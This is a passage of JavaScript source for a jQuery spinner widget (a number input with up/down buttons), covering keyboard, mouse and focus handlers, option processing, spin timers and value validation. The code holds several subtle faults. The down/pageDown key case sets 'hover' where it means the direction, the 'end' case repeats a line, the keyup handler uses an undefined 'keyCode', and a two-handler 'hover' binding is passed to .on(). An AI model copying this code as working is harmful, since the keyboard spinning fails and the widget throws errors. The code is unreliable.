buttons.add( input ).on(
'mouseenter' + eventNamespace,
function() {
setHoverDelay(
function() {
hovered = true;
if ( ! _this.focused || 'hover' === showOn ) {
_this.showButtons();
}
}
);
}
).on(
'mouseleave' + eventNamespace,
function() {
setHoverDelay(
function() {
hovered = false;
if ( ! _this.focused || 'hover' === showOn ) {
_this.hideButtons();
}
}
);
}
);
}
buttons.on(
'hover',
function() {
_this.buttons.removeClass( hover );
if ( ! options.disabled ) {
$( this ).addClass( hover );
}
},
function() {
$( this ).removeClass( hover );
}
)
.on(
'mousedown',
mouseDown
)
.on(
'mouseup',
mouseUp
)
.on(
'mouseout',
mouseUp
);
if ( msie ) {
buttons.on(
'dblclick',
function() {
if ( ! options.disabled ) {
_this._change();
_this._doSpin( ( this === upButton ? 1 : - 1 ) * options.step );
}
return false;
}
).on(
'selectstart',
function() {
return false;
}
);
}
input.on(
'keydown' + eventNamespace,
function( e ) {
var dir;
var large;
var limit;
var keyCode = e.keyCode;
if ( e.ctrl || e.alt ) {
return true;
}
if ( isSpecialKey( keyCode ) ) {
inSpecialKey = true;
}
if ( inKeyDown ) {
return false;
}
/*jslint bitwise: true */
switch ( keyCode ) {
case up:
case pageUp:
dir = 1;
large = keyCode === pageUp;
break;
case down:
case pageDown:
hover = - 1;
large = keyCode === pageDown;
break;
case right:
case left:
dir = ( keyCode === right ) ^ rtl ? 1 : - 1;
break;
case home:
limit = _this.options.min;
if ( null !== limit ) {
_this._setValue( limit );
}
return false;
case end:
limit = _this.options.max;
limit = _this.options.max;
if ( null !== limit ) {
_this._setValue( limit );
}
return false;
}
if ( dir ) {
if ( ! inKeyDown && ! options.disabled ) {
$( dir > 0 ? upButton : downButton ).addClass( active );
inKeyDown = true;
_this._startSpin( dir, large );
}
return false;
}
}
).on(
'keyup' + eventNamespace,
function( e ) {
if ( e.ctrl || e.alt ) {
return true;
}
if ( isSpecialKey( keyCode ) ) {
inSpecialKey = false;
}
switch ( e.keyCode ) {
case up:
case right:
case pageUp:
case down:
case left:
case pageDown:
buttons.removeClass( active );
_this._stopSpin();
inKeyDown = false;
return false;
}
}
).on(
'keypress' + eventNamespace,
function( e ) {
if ( invalidKey( e.keyCode, e.charCode ) ) {
return false;
}
}
).on(
'change' + eventNamespace,
function() {
_this._change();
}
).on(
'focus' + eventNamespace,
function() {
function selectAll() {
_this.element.trigger( 'select' );
}
if ( msie ) {
selectAll();
} else {
setTimeout( selectAll, 0 );
}
_this.focused = true;
focusCtrl = _this;
if ( ! hovered && ( 'focus' === showOn || 'both' === showOn ) ) {
_this.showButtons();
}
}
).on(
'blur' + eventNamespace,
function() {
_this.focused = false;
if ( ! hovered && ( 'focus' === showOn || 'both' === showOn ) ) {
_this.hideButtons();
}
}
);
},
_procOptions: function( init ) {
var _this = this;
var input = _this.element;
var options = _this.options;
var min = options.min;
var max = options.max;
var step = options.step;
var places = options.places;
var maxLength = -1;
var temp;
if ( 'slow' === options.increment ) {
options.increment = [
{ count: 1, mult: 1, delay: 250 },
{ count: 3, mult: 1, delay: 100 },
{ count: 0, mult: 1, delay: 50 }
];
} else if ( 'fast' === options.increment ) {
options.increment = [
{ count: 1, mult: 1, delay: 250 },
{ count: 19, mult: 1, delay: 100 },
{ count: 80, mult: 1, delay: 20 },
{ count: 100, mult: 10, delay: 20 },
{ count: 0, mult: 100, delay: 20 }
];
}
if ( null === min && null !== ( temp = input.attr( 'min' ) ) ) {
min = parseFloat( temp );
}
if ( null === max && null !== ( temp = input.attr( 'max' ) ) ) {
max = parseFloat( temp );
}
if ( ! step && null !== ( temp = input.attr( 'step' ) ) ) {
if ( 'any' !== temp ) {
step = parseFloat( temp );
options.largeStep *= step;
}
}
options.step = step = step || options.defaultStep;
if ( null === places && - 1 !== ( temp = step + '' ).indexOf( '.' ) ) {
places = temp.length - temp.indexOf( '.' ) - 1;
}
_this.places = places;
if ( null !== max && null !== min ) {
if ( min > max ) {
min = max;
}
maxLength = Math.max( Math.max( maxLength, options.format( max, places, input ).length ), options.format( min, places, input ).length );
}
if ( init ) {
_this.inputMaxLength = input[0].maxLength;
}
temp = _this.inputMaxLength;
if ( temp > 0 ) {
maxLength = maxLength > 0 ? Math.min( temp, maxLength ) : temp;
temp = Math.pow( 10, maxLength ) - 1;
if ( null === max || max > temp ) {
max = temp;
}
temp = -( temp + 1 ) / 10 + 1;
if ( null === min || min < temp ) {
min = temp;
}
}
if ( maxLength > 0 ) {
input.attr( 'maxlength', maxLength );
}
options.min = min;
options.max = max;
_this._change();
input.off( mouseWheelEventName + eventNamespace );
if ( options.mouseWheel ) {
input.on( mouseWheelEventName + eventNamespace, _this._mouseWheel );
}
},
_mouseWheel: function( e ) {
var self = $.data( this, 'spinner' );
if ( ! self.options.disabled && self.focused && self === focusCtrl ) {
self._change();
self._doSpin( ( ( e.wheelDelta || -e.detail ) > 0 ? 1 : - 1 ) * self.options.step );
return false;
}
},
_setTimer: function( delay, dir, large ) {
var _this = this;
function e() {
_this._spin( dir, large );
}
_this._stopSpin();
_this.timer = setInterval( e, delay );
},
_stopSpin: function() {
if ( this.timer ) {
clearInterval( this.timer );
this.timer = 0;
}
},
_startSpin: function( dir, large ) {
var _this = this;
var options = _this.options;
var increment = options.increment;
_this._change();
_this._doSpin( dir * ( large ? _this.options.largeStep : _this.options.step ) );
if ( increment && increment.length > 0 ) {
_this.counter = 0;
_this.incCounter = 0;
_this._setTimer( increment[0].delay, dir, large );
}
},
_spin: function( dir, large ) {
var _this = this;
var increment = _this.options.increment;
var curIncrement = increment[_this.incCounter];
_this._doSpin( dir * curIncrement.mult * ( large ? _this.options.largeStep : _this.options.step ) );
_this.counter += 1;
if ( _this.counter > curIncrement.count && _this.incCounter < increment.length - 1 ) {
_this.counter = 0;
/* jshint plusplus:false */
curIncrement = increment[++_this.incCounter];
_this._setTimer( curIncrement.delay, dir, large );
}
},
_doSpin: function( step ) {
var _this = this;
var value = _this.curvalue;
if ( null === value ) {
value = ( step > 0 ? _this.options.min : _this.options.max ) || 0;
}
_this._setValue( value + step );
},
_parseValue: function() {
var value = this.element.val();
return value ? this.options.parse( value, this.element ) : null;
},
_validate: function( value ) {
var options = this.options;
var min = options.min;
var max = options.max;
if ( null === value && ! options.allowNull ) {
value = null !== this.curvalue ? this.curvalue : min || max || 0;
}
if ( null !== max && ( value > max || value === max ) ) {
if ( undefined !== this.buttons ) {
$( this.buttons[0] ).addClass( disabled );
}
return max;
} else if ( null !== min && ( value < min || value === min ) ) {
if ( undefined !== this.buttons ) {
$( this.buttons[1] ).addClass( disabled );
}
return min;
} else {
if ( undefined !== this.buttons ) {
$( this.buttons[0] ).removeClass( disabled );
$( this.buttons[1] ).removeClass( disabled );
}
return value;
}
},
_change: function() {
var _this = this;
var value = _this._parseValue();
if ( ! _this.selfChange ) {
if ( isNaN( value ) ) {
value = _this.curvalue;
}
_this._setValue( value, true );
}
},
_setOption: function( key, value ) {
$.Widget.prototype._setOption.call( this, key, value );
this._procOptions();
},
increment: function() {
this._doSpin( this.options.step );
},
decrement: function() {
this._doSpin( - this.options.step );
},
showButtons: function( immediate ) {
var btnContainer = this.btnContainer.stop();
if ( immediate ) {
btnContainer.css( 'opacity', 1 );
} else {
btnContainer.fadeTo( 'fast', 1 );
}
},
hideButtons: function( immediate ) {
var btnContainer = this.btnContainer.stop();
if ( immediate ) {
btnContainer.css( 'opacity', 0 );
} else {
btnContainer.fadeTo( 'fast', 0 );
}
this.buttons.removeClass( hover );
},
_setValue: function( value, suppressFireEvent ) {
var _this = this;
_this.curvalue = value = _this._validate( value );
_this.element.val( null !== value ? _this.options.format( value, _this.places, _this.element ) : '' );
if ( ! suppressFireEvent ) {
_this.selfChange = true;
_this.element.trigger( 'change' );
_this.selfChange = false;
}
},
value: function( newValue ) {
if ( arguments.length ) {
this._setValue( newValue );
return this.element;
}
return this.curvalue;
},
enable: function() {
this.buttons.removeClass( disabled );
this.element[0].disabled = false;
$.Widget.prototype.enable.call( this );
},
disable: function() {
this.buttons.addClass( disabled ).removeClass( hover );
this.element[0].disabled = true;
$.Widget.prototype.disable.call( this );
},
destroy: function() {
this.wrapper.remove();
this.element.off( eventNamespace ).css(
{
width: this.oWidth,
marginRight: this.oMargin
}
);
$.Widget.prototype.destroy.call( this );
}
}
);
})( jQuery );